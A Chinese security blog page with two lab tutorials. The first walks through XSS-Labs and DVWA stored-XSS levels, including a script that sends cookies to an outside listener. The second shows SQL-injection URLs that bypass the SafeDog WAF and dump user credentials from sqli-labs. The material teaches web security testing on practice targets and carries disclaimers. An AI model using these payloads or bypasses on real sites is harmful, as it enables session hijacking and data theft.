首页
工具导航
留言面板
友情链接
Search
1
【红队工具】VShell v4.9.3 高级版,国产C2工具下载及使用
13,170 阅读
2
全网最全渗透测试靶场推荐【2026最新靶场推荐】,拒绝信息差
7,860 阅读
3
2025最新渗透测试靶场推荐,新手必练的靶场推荐
6,261 阅读
4
src平台推荐,挖SRC必须知道的25个漏洞提交平台
5,815 阅读
5
几个常见的密码字典推荐
5,535 阅读
AI
OSCP打靶
安全服务
建站
泷羽收录
渗透学习
渗透工具
服务器
登录
Search
标签搜索
渗透测试
内网渗透
Linux
网络协议
vulnhub
靶场实战
SQL注入
提权
代理隧道
域渗透
信息收集
权限提升
hackmyvm
WAF绕过
AI安全
云安全
蓝队防御
权限维持
红队攻击
云服务
白小羽
累计撰写
192
篇文章
累计收到
2
条评论
首页
导航
工具导航
留言面板
友情链接
搜索到
66
篇与
的结果
2025-05-18
Web安全中的XSS攻击详细教学,Xss-Labs靶场通关全教程
漏洞原理XSS(cross site script)跨站脚本攻击,指的是攻击者往web页面插入恶意脚本代码,当用户浏览时,嵌入web页面里的脚本代码就会执行,从而达到恶意攻击用户的特殊目的,它主要分为俩种类型存储型XSS(持久型):攻击者将恶意脚本存储在目标服务器上,每当用户访问受感染的页面时,恶意脚本就会执行。反射型XSS(非持久型):攻击者诱使用户点击一个链接,该链接将恶意脚本作为输入传递给服务器,然后服务器将这个脚本反射回用户的浏览器执行。DOM型(非持久型):漏洞危害XSS攻击的常见目标是盗取用户的cookie和其他敏感信息,这些信息可以用来进行会话劫持、身份冒充等进一步攻击。如何防御?输入验证:网站开发者需要对用户输入进行严格的验证和过滤,避免将不受信任的数据直接输出到HTML中。输出编码:当将用户输入的数据输出到页面时,使用适当的编码方法(如HTML实体编码)来转义可能被浏览器解释为脚本的特殊字符。对输出内容进行编码:在变量输出到HTML页面时,可以使用编码或转义的方式来防御XSS攻击。漏洞复现Upload-Labs靶场(1-20关)第一关(URL传参)分析URL中的参数有个nanme根据XSS原理,注入恶意脚本,尝试注入payload?name=<script>alert()</script>第二关(输入框注入)尝试注入payload<script>alert()</script>分析源码,红色框上面部分被转义了,没有什么绕过方法,但是下面部分,仔细看,如果我们嵌套一个反标签符号呢?payload如下"><script>alert()</script><"第三关(事件注入)尝试使用上一关的内容进行绕过,被转义,只能想想其他办法了在JavaScript中有一个函数onfocus,用于输入框input,select,a标签获得焦点的事件这里我们给他一个函数即可,payload如下' onfocus=JavaScript:alert() '此时再点击这个input框,使其获得焦点,触发onfocus事件第四关(引号类型)使用上一关的结果进行注入,尝试失败分析源码,发现外围是双引号,双包单了,不符合JavaScript 的onfocus事件绑定切换payload为双引号即可" onfocus=JavaScript:alert() "提交payload后,需要点击input框,触发onfocus事件第五关(a标签注入)尝试输入脚本标签,被强行切换为scr_ipt使用上一关的方法" onfocus=JavaScript:alert() ",事件名称也被强行转换了这里就要用到a标签的 href属性了,尝试注入分析源码,并无异常转换,只是少了个"> 和 <",构造payload"><a href="JavaScript:alert();">xx</a><"发现页面多了个标签,此时既可以点击此标签第五关,over!第六关(大小写绕过)使用上一关结果,尝试注入"><a href="JavaScript:alert();">xx</a><"分析源码,href变成了hr_ef尝试onfocus绕过,失败尝试大小写,发现没有对大小写进行验证//第一种,脚本注入 " ><SCRIPT>alert()</SCRIPT>< " //第二种,焦点事件 " ONDOCUS=JavaScript:alert() " //a标签href属性的 "> <a HREF=JavaScript:alert()>x</a> <"over!第七关(双拼写)一样,使用上一关方法尝试,发现此时对大小写也进行了验证。不难发现,这里面进行了小写转化,将检测出来的on,script,href给删掉了,但是没有关系,我们可以利用*双拼写*来绕过。" ><sscriptcript>alert()</sscriptcript>< "第八关(Unicode编码)尝试使用大小写失败,对字符进行了强行转换,而且使用了强制小写字母尝试使用双写,也以失败告终这里我们能利用href的隐藏属性自动Unicode解码,我们可以插入一段js伪协议JavaScript:alert()利用在线工具进行Unicode编码后得到,在线Unicode编码解码javascript:alert()第九关(指定字符绕过)先看看过滤了什么" SRC data onfocus <script> <a href=javascript:alert()> 什么嘛,看源码当传入的参数不包含"http://"时,即其值为假(false),将触发if语句的执行。为了避免这种情况,我们需要在参数中添加"http://",并将其作为注释,以防止其被实际执行,这会影响到弹窗的显示。为了确保strpos函数能够返回一个数值,我们需要构造一个特定的输入(payload),使其满足函数的预期行为。比如:javascript:alert()/* <http://> */本章小结:插入指定内容(本关是http://)绕过检测,再将指定内容用注释符注释掉即可第十关(属性修改)a标签注入失败,看看网页源码,全部都在h2标签去了,看着下面还有这么多hidden的input,这谁顶得住啊。看后端源码吧它多了个get的参数,测试了好几遍,可以尝试这个参数,把后面的type="hidden"给干掉,或者给type="text"也行就可以让这个input显示出来,再让它获得焦点,触发onfocus事件。level10.php?t_sort=" onfocus="javascript:alert()" type=" level10.php?t_sort=" onfocus="javascript:alert()" type="text第十一关(Referer)老样子,使用上一关的payload,发现我们的参数被转义了检查源码使用,这个str11并没有使用htmlspecialchars()方式进行转换,那么这里就是注入点知识补充:htmlspecialchars():一个PHP函数,用于将特殊字符转换为HTML实体。这个函数通常用于防止跨站脚本(XSS)攻击。$_SERVER['HTTP_REFERER'] :链接到当前页面的前一页面的 URL 地址。(referer,推荐人)$userInput = "<script>alert('XSS');</script>"; $safeOutput = htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8'); echo $safeOutput; // 输出: <script>alert('XSS');</script>尝试注入RefererREFERER:<script>alert()</script>注入成功,但是他把我们的< 和> 这些尖括号给去掉了那么可以尝试使用onfocus事件,并且把隐藏的input给显示出来,payload如下REFERER:" onfocus="javascript:alert()" type="text" "over!第十二关(User-Agent)上一关使用的referver,这一关我们猜测使用cookie,开始尝试发送请求,果断打开源码,尝试个鬼,用的user-agent尝试使用如下payload,添加到请求头后面" onfocus="javascript:alert()" type="text" "over!第十三关(Cookie)这关想都不要想,一定是Cookie!有人不服嘛,不服顺着网线来打死我 (´。✪ω✪。`)先查看源码,然后抓包,或者说,直接抓包俩个东西似曾相识哈,复制上一关的payload,开始注入" onfocus="javascript:alert()" type="text" "鼠标点击input输入框,使其获得焦点,成功!第十四关由于本关因*iframe*调用的文件地址失效,无法进行测试。第十五关来到了第十五关,直到看到如下图片,啊??????再看看源码,没有一点头绪啊,之前用的方法全部没作用了使用burp suite抓包试试。。。。。。无奈,只能看php源码了,有一个SRC参数,关键他还使用了htmlspecialchars()累了,煞了我吧看网上是这样子说的这里有个html实体化函数在,没有删掉东西,所以不影响我们接下来的操作,我们可以包涵第一关并让第一关弹窗(注意,这里不能包涵那些直接弹窗的东西如,但是可以包涵那些标签的东西比如、、、标签等等,这些标签是能需要我们手动点击弹窗的),这里我们使用img标签,可参考XSS常见的触发标签,构造payload?SRC='/level1.php?name=<img SRC=1 onmouseover=alert()>'分析源码,他这里是对特殊符号进行了转义,比如 >使用<,它并没有删掉,还是存在在html标签中的,也可以进行内含属性,根据他说的尝试使用img标签,并添加onmouseover 事件语法如下?SRC='/level1.php?name=<img SRC=1 onmouseover=alert()>'第十六关(回车%0a)通过以上关卡我总结了一些关键字,便于测试?keyword=" ' SRC DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()> j 都以失败告终。查看源码这里将` ,/,script,-都替换成了 ,所以a标签也不行,但是可以使用一个标签的标签(单标签)比如,,,svg` 等。这里使用<svg>的onload事件,就是svg标签加载完成的事件,搭配上%0a即回车按钮,就比如?keyword=<svg%0aonload=alert()>渲染在网页上其实是这样的<svg%0aonload=alert()> || <svg onload=alert()>第十七关(embed)测试注入关键字?arg01=" ' SRC DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()>; &arg02=" ' SRC DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()>;发现事件名称和javascript脚本都没有被注释,尝试使用onload事件%20onload=alert()%20""非常简单,完成,这里原本是一个未知文件显示在这里的,小编我直接修改成了这张图片,实现思路是一样的第十八关(双参空格)尝试任意字符,它将俩个参数用 = 号连接起来了/level18.php?arg01=abavvvv&arg02=fdffffdf注入测试" ' SRC DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()>; &arg02=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()>;属性正常,和上一关一样,不过需要注意是第二个参数进行传值arg02/level18.php?arg02= onmousedown=alert() //注意空格,这里使用的是鼠标点击事件第十九关难搞,pass,不要问我为什么,可能环境不对,Flash xss了解一下就行,现在许多浏览器都用不上flash插件了第二十关payload在这儿(也不起效果),你自个儿试试吧,这是原文,可能因为我的服务器是linuxhttps://blog.csdn.net/u014029795/article/details/103217680?arg01=id&arg02=xss"))}catch(e){alert(1)}//%26width=123%26height=123存储型XSS(持久性XSS)存储型XSS,又称持久性XSS,他们和反射性XSS最大的不同就是,攻击脚本将被永久地存放在目标服务器端(数据库,内存,文件系统等),下次请求目标页面时不用再提交XSS代码,又有点类似于SQL注入,但不同于SQL注入。这种攻击多见于论坛,攻击者在发帖的过程中,将恶意脚本连同正常信息一起注入到帖子的内容之中。随着帖子被论坛服务器存储下来,恶意脚本也永久地被存放在论坛服务器的后端存储器中。当其它用户浏览这个被注入了恶意脚本的帖子的时候,恶意脚本则会在他们的浏览器中得到执行,从而受到了攻击。持久型 XSS 的三大特点: 持久性,植入在数据库中; 危害面广,甚至可以让用户机器变成 DDoS 攻击的肉鸡; 盗取用户敏感私密信息。 如何防御? 后端在入库前应该选择不相信任何前端数据,将所有的字段统一进行转义处理; 后端在输出给前端数据统一进行转义处理; 前端在渲染页面 DOM 的时候应该选择不相信任何后端数据,任何字段都需要做转义处理。 漏洞复现--DVWALOW尝试注入JavaScript脚本<script>alert()</script>执行正常注入成功尝试分析源码,完全没有对XSS的防护,另外对SQL注入的防护也不彻底。<?php if( isset( $_POST[ 'btnSign' ] ) ) { //trim() 函数只能去除字符串的首尾字符,这里没有第二个参数,默认去除首尾空格 $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); //stripslashes() 删除字符串中的反斜杠 $message = stripslashes( $message ); //mysqli_real_escape_string() 函数转义了特殊字符(包括NUL(ASCII 0)、n、r、、'、" 和 Control-Z),然后直接代入mysqli_query()函数来执行INSERT INTO的SQL语句。 $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Sanitize name input $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // 要执行的sql语句 $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close(); } ?>这里还有一共攻击方式使用xss攻击获取cookie,payload如下<script>document.write('<img src="http://ip:9999/'+document.cookie+'"/>')</script>简单地起http协议的方法有两种:(1)用python2:python2 -m SimpleHTTPServer 8899(2)用python3:python3 -m http.server 8899注入payload成功获取cookie信息P.S. 测试的时候还发现每次点击浏览器的刷新键,都会再生成一个一条guestbook记录。这应该是low等级没有做防止表单重复提交的动作。Medium尝试使用上一关的内容进行注入。注入失败盲注尝试第一个框,而且输入框限制了文字的输入长度似乎有效果尝试修改input框的输入长度限制payload如下<a href="javascript:alert()">alert()</a>注入成功源码分析<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // strip_tags() 函数用于从字符串中去除HTML和PHP标签 // addslashes() 用于在字符串中的单引号(')、双引号(")、反斜杠()和NULL字符(�)前面添加反斜杠 $message = strip_tags( addslashes( $message ) ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // htmlspecialchars() 用于将特殊字符转换为HTML实体,特殊字符包含&、<、>、'、" $message = htmlspecialchars( $message ); // 将指定字符串替换为空 $name = str_replace( '<script>', '', $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close(); } ?>仔细分析源码会发现,它只将message框的函数进行了一个strip_tags字符判断,但是并没有对name框的值进行判断,此处仅仅只是进行了删除script,所以我们可以可以尝试以下俩种方式: 双写绕过,例如<sc<script>ript>alert()<sc<script>ript> 大小写绕过,把标签名称改为<sCript>,任意字符大写即可 High单标签使用上一关的payload测试失败尝试半包,发现对字符进行了转义。尝试单个标签 img,并添加点击事件onclick,即可注入成功<img src=1 onclick=alert() /><!--注意不要少了空格-->cookie在单标签的情况进行获取cookie,payload如下<img src=1 onclick="document.write('<img src="http://ip:9999/'+document.cookie+'"/>')" />http端口也没有监听到cookie信息尝试失败之后试了试svg,也不行在我百思不得其解的时候,想到了这么一个标签input,onchange事件<input onchange="alert()">成功了!那么再利用这个input标签,去获取我们的dvwa站点的cookie信息<input οnchange="document.write('<img src="http://ip:999/'+document.cookie+'"/>')">emmmm,尝试了好几遍,注入失败了,不知道为什么看源码。。。。<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = strip_tags( addslashes( $message ) ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $message = htmlspecialchars( $message ); // Sanitize name input $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close(); } ?>它使用 preg_replace 正则替换没思路了,有没有大佬帮帮我呀 T_TIMPOSSIBLE源码分析<?php if( isset( $_POST[ 'btnSign' ] ) ) { // checkToken() 检查token是否存在,使用csrf_token,防止CSRF攻击,还解决了表单重复提交的问题 checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // 将参数俩边的空格去掉 $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // 去掉message框的反斜杠 $message = stripslashes( $message ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // 将message框中的值转化为html实体 $message = htmlspecialchars( $message ); // 去掉name中的反斜杠 $name = stripslashes( $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $name = htmlspecialchars( $name ); // 执行sql语句,并使用了PDO进行了预编译,预防SQL注入攻击 $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' ); $data->bindParam( ':message', $message, PDO::PARAM_STR ); $data->bindParam( ':name', $name, PDO::PARAM_STR ); $data->execute(); } // Generate Anti-CSRF token generateSessionToken(); ?>原文链接:https://mp.weixin.qq.com/s/PKs1TTg8XyU-UBOZTY5Olg原文链接https://mp.weixin.qq.com/s/RJcOZuscU07BEPgK89LSrQ
2025年05月18日
1,529 阅读
0 评论
0 点赞
2025-05-18
安全狗waf绕过-sql注入
安全狗WAF绕过系列一、WAF概述WAF(Web应用防火墙)作为一种专为Web应用程序设计的安全防护工具,其核心功能在于通过实施一系列针对HTTP/HTTPS协议的安全策略,来增强Web应用的安全性。WAF内置了精心设计的检测逻辑与规则集,这些规则旨在对每一个进入系统的请求内容进行细致审查,并对任何违反安全策略的请求采取即时且有效的防御措施,从而维护Web应用环境的纯净与安全。二、WAF工作机制详解WAF的工作流程精心构建,涵盖四个关键环节:预处理、规则匹配、响应处理以及日志记录,共同编织成一张紧密的安全防护网。 预处理阶段:此阶段,WAF首先担任起“守门人”的角色,对所有进入的数据请求流量进行初步筛选,确认其是否遵循HTTP/HTTPS协议标准。紧接着,WAF会利用预设的白名单机制,快速识别并放行那些已知安全或信任的URL请求,直接引导它们进入后端Web服务器进行处理。对于未能通过白名单验证的请求,WAF则进一步深入,对其数据包进行精细解析,为后续的安全检测做准备。 规则匹配阶段:此为核心环节,WAF利用其内置的强大规则引擎,对经过解析的数据包进行深度扫描与匹配。这些规则覆盖了广泛的攻击场景与模式,包括但不限于SQL注入、跨站脚本(XSS)、命令注入等常见Web安全威胁。通过这一过程,WAF能够精准识别出潜在的恶意请求,为后续的安全响应奠定坚实基础。 响应处理阶段:基于规则匹配的结果,WAF的响应处理模块将采取针对性的防御措施。对于符合安全规则的请求,WAF会毫无阻碍地将其转发至后端Web服务器,确保用户请求得到及时响应。而对于那些被判定为恶意或异常的请求,WAF则展现出其防御实力,通过阻断请求、记录日志或触发告警等多种方式,有效遏制潜在的安全风险,保护Web应用免受侵害。 三、常见的WAF绕过姿势常见的WAF(Web应用防火墙)绕过姿势包括但不限于以下几种: 提交方式变换:许多WAF默认配置下主要对GET请求进行过滤,而忽略POST请求、Cookie、HTTP头等其他提交方式。因此,可以尝试将攻击载荷通过不同的提交方式进行发送,以绕过WAF的检测。 大小写替换和编码绕过:利用WAF规则可能不区分大小写或无法完全解析编码后的攻击载荷,通过将攻击语句中的关键字进行大小写替换或使用URL编码、Base64编码等方式进行编码,以绕过WAF的过滤规则。 事件函数变换:WAF会重点识别触发JavaScript代码执行的事件函数字段,如onclick。通过变换事件函数名称或利用其他不常见的事件函数,可以尝试绕过WAF的识别。 注释符和内联注释:使用SQL注释符(如--、#)或HTML/JavaScript注释(如<!-- -->、//)来绕过WAF对特定关键字的过滤。有时,将攻击载荷与注释符结合使用,可以欺骗WAF使其忽略部分攻击载荷。 分片传输:通过调整HTTP请求中的Content-Length头部,将攻击载荷分成多个部分发送,可能导致WAF无法完整解析请求内容,从而绕过检测。 利用WAF软肋:WAF在部署时可能因性能考虑而留下一些软肋,如对某些特殊字符或组合的检测不够严格。通过分析和测试WAF的行为,可能发现并利用这些软肋进行绕过。 爬虫白名单绕过:部分WAF提供爬虫白名单功能,通过伪装成爬虫(修改User-Agent或模拟爬虫行为)可能绕过WAF的检测。 高并发流量攻击:通过发送大量垃圾数据或高并发请求,使WAF设备进入Bypass IPS模式或达到性能极限,从而暂时或永久性地绕过WAF的防护。 请注意,上述绕过姿势仅供安全研究和教育目的使用。未经授权的渗透测试和网络攻击是非法行为,可能会对个人和组织造成严重的法律后果。在进行任何渗透测试之前,请确保已获得合法授权。四、安全狗绕过姿势环境:phpstudy—apache2.4.39安全狗官网v4.0下载(应该是最新版):https://www.safedog.cn/website_safedog.html当然如果需要套件,我都给你准备好了关注后台回复【安全狗】即可获取,感谢宝子们一直以来的关注在开始之前,如果没有SQL注入基础的的童鞋,还请观看我的另外一篇文章,1w字超详细解析。以下内容皆使用sqli第一关进行测试测试 id=1' and 1=1http://192.168.209.131/Less-1/?id=-1' and 1=1在之前的尝试中,我们发现直接使用“and 1=1”这种方法似乎并不奏效,这很可能是因为安全狗系统识别并过滤了“and”这个词。为了更深入地了解安全狗是如何识别并拦截这类操作的,我们可以尝试将“and 1=1”进行拆分http://192.168.10.129:8080/sqli/Less-1/?id=1' and --+ http://192.168.10.129:8080/sqli/Less-1/?id=1' 1=1 --+发现两个页面均返回SQL语法错误,这表明安全狗不会单独过滤‘and’或‘1=1’。我推测它可能是识别到‘and’后紧跟空格和字符的模式。为了验证这一点,我决定进行实验。http://192.168.10.129:8080/sqli/Less-1/?id=1' and1--+ http://192.168.10.129:8080/sqli/Less-1/?id=1' and 1--+实验结果,证实了确实是and+空格+字符串的格式会被拦截。这里我们就可以开始尝试利用注释符、回车符%0a等来代替空格进行绕过了!!在此输入:http://192.168.10.129:8080/sqli/Less-1/?id=1' and/**/1=1--+发现依旧不行,打开burp suite,拦截下我们阻截的包,添加$payload到我们测试的注释符中然后点击发送到intruder模块,选择如下:然后,点击pyload,选择暴力破解(Brute forcer):attack,开始攻击,安全狗有流量攻击的防御,后面可能会被拦截,解决办法直接重启apache服务器。好了这里测试完成了,点击length更改默认排序,我们拿每个请求成功payload(检查response即可查看是否成功,如果用户名正常显示,说明该字符payload安全狗没有进行拦截)。我们随便娶一个/!*得到payload和注释符拼接/*/!**/,这个时候and和后面的1=1之间用这个拼接的符号进行连接即可http://192.168.209.131/Less-1/?id=1' and/*/!**/1=1 --+可以绕过了order by测试,我们用之前的测试结果,利用/*/!**/这一个充当空格,测试order by 3,然后看看能否成功?http://192.168.209.131/Less-1/?id=1' order/*/!**/by 3 --+完美,接下来测试联合注入。普通测试union select:http://192.168.209.131/Less-1/?id=1' union select --+union关键字测试,有回显http://192.168.209.131/Less-1/?id=1' union --+select关键字测试,有回显http://192.168.209.131/Less-1/?id=1' select --+已知安全狗WAF对联合注入的拦截规则是识别到union select字符串。为了探索是否能利用注释符绕过这一规则,我决定采用与之前相同的方法,利用Burp进行抓包,并加强fuzz测试中的参数进行暴力破解尝试。随便选择几个1002长度的响应结果这里我们选择payload,取/!*!/,构造注释符+payload,为/*/!*!/*/,插入union和select之间,绕过成功http://192.168.5.64/Less-1/?id=1' union/*/!*!/*/select 1,2,3 --+这里还有一个思路,可以利用--+%0a这种格式通过换行继续执行,这里我们试一下看看:Tips:我的另一篇SQL注入文章有写过%0a的作用,后台回复【SQL注入】【sql】等关键字即可查看http://192.168.5.64/Less-1/?id=-1%27%20union/*!--+/*%0aselect%201,database(),3*/%20--+ 相当于在普通sql语句中的 http://192.168.5.64/Less-1/?id=-1' union/*!--+/* select 1,database(),3*/ --+尝试报数据库http://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database(),3 --+发现database()被拦截了我们把database的()给去掉http://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database,3 --+报错,此时就可以确定,安全狗应该是将database()进行检测然后我们继续使用注释符或者内联注释符看看吧:继续采用burp的fuzz测试:添加上变量扫出来4个/可以用,最简单的和之前一样,就不强调了,取注释符+payload,构造payloadhttp://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),3 --+成功了!接下来一个一个关键词测试,group_concat()http://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(table_name) --+没有拦截,继续fromhttp://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(table_name) from --+informtion_schema.tables,结果就不行了http://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(table_name) from informtion_schema.tables --+测试%0ahttp://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/*////*/(),group_concat(table_name)%20from%20/*!--%20/*%0ainformation_schema.tables*/ 相当于 http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(table_name) from /*!-- /* information_schema.tables*/测试查当前数据库的表名,前面已经测试过database()了http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/*////*/(),group_concat(table_name)%20from%20/*!--%20/*%0ainformation_schema.tables*/where%20table_schema=database/*////*/()%20--+ 相当于 http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(table_name) from /*!-- /* information_schema.tables*/where table_schema=database/*////*/() --+爆字段,测试到and,table_name都没拦截http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/*////*/(),group_concat(column_name)%20from%20/*!--%20/*%0ainformation_schema.tables*/where%20table_schema=database/*////*/()%20and%20table_name%20--+ 相当于 http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(column_name) from /*!-- /* information_schema.tables*/where table_schema=database/*////*/() and table_name --+直到table_name后面加了个=http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/*////*/(),group_concat(column_name)%20from%20/*!--%20/*%0ainformation_schema.tables*/where%20table_schema=database/*////*/()%20and%20table_name=%20--+ 相当于 http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(column_name) from /*!-- /* information_schema.tables*/where table_schema=database/*////*/() and table_name= --+那么开始fuzz测试爆破随便娶一个payload和注释符进行拼接,如下http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/*////*/(),group_concat(column_name)%20from%20/*!--%20/*%0ainformation_schema.columns*/where%20table_schema=database/*////*/()%20and%20table_name/*/***/=%22users%22%20--+ 相当于 http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(column_name) from /*!-- /* information_schema.columns*/where table_schema=database/*////*/() and table_name/*/***/="users" --+回车%0a的绕过方式http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/*////*/(),group_concat(column_name)%20from%20/*!--%20/*%0ainformation_schema.columns*/where%20table_schema=database/*////*/()%20and%20/*!--%20/*%0atable_name*/=%22users%22%20--+ 相当于 http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(column_name) from /*!-- /* information_schema.columns*/where table_schema=database/*////*/() and /*!-- /* table_name*/="users" --+爆数据,已知表名为users,字段为id,username,password,并设置每个字段的分隔符为-,separator '-'http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/*////*/(),group_concat(id,username,password%20separator%20%27-%27)%20from%20/*!--%20/*%0ausers*/%20--+ 相当于 http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(id,username,password separator '-') from /*!-- /* users*/ --+这里使用的是sqli第12关有安全狗防火墙,数据包如下uname=123")%20and%20updatexml(0x3a,concat(0x3a,(select%20user()),0x3a),0x3a)#&passwd=123&submit=Submit进行分块传输(这里用到一个插件)联系作者即可获取(备注【分块插件】)编码请求体后注意最后两行需要空着,但凡少一行都会造成请求不成功少一行之后,响应失败脏数据构造大型数据包比如但是如果没有足够大的数据包,也是不能够进行绕过的,比如数据包中post无限制,get可能会进行限制hex编码这里没有复现案例,仅供参考前提:没有过滤掉0x例如select * from users where name="admin"总结通过本文的详细解析和实验,我们深入了解了SQL注入攻击的基本原理及其在实际应用中的变种和绕过技巧。在面对如安全狗这样的WAF防护时,攻击者并非束手无策,而是可以通过多种方式绕过检测规则,成功实施SQL注入攻击。本文首先通过基础的SQL注入测试,验证了安全狗WAF对“and 1=1”等简单SQL注入模式的识别能力。随后,通过拆分和注释符的使用,我们发现WAF可能是通过识别特定模式(如“and”后紧跟空格和字符)来拦截SQL注入的。基于此发现,我们进一步尝试利用注释符、换行符等技术手段绕过WAF的检测,成功实施了更复杂的SQL注入攻击,包括联合查询注入,获取数据库表名、列名以及具体数据等。通过本文的学习,我们不仅能够加深对SQL注入攻击的理解,还能够掌握一些实用的绕过WAF防护的技巧。然而,需要强调的是,这些技巧仅用于合法的安全测试和教育目的,任何未经授权的SQL注入攻击都是非法的,并可能带来严重的法律后果。因此,我们呼吁广大开发人员和安全从业者,应持续关注和提升Web应用的安全性,共同维护网络空间的安全与稳定。免责声明:本渗透教程仅供安全研究与教育目的使用。任何未经授权的网络活动均属非法。读者应确保拥有合法权限,并对自己的行为负责。教程内容不保证绝对安全或成功,使用风险自负。
2025年05月18日
877 阅读
0 评论
0 点赞
2025-05-18
sql注入之dnslog
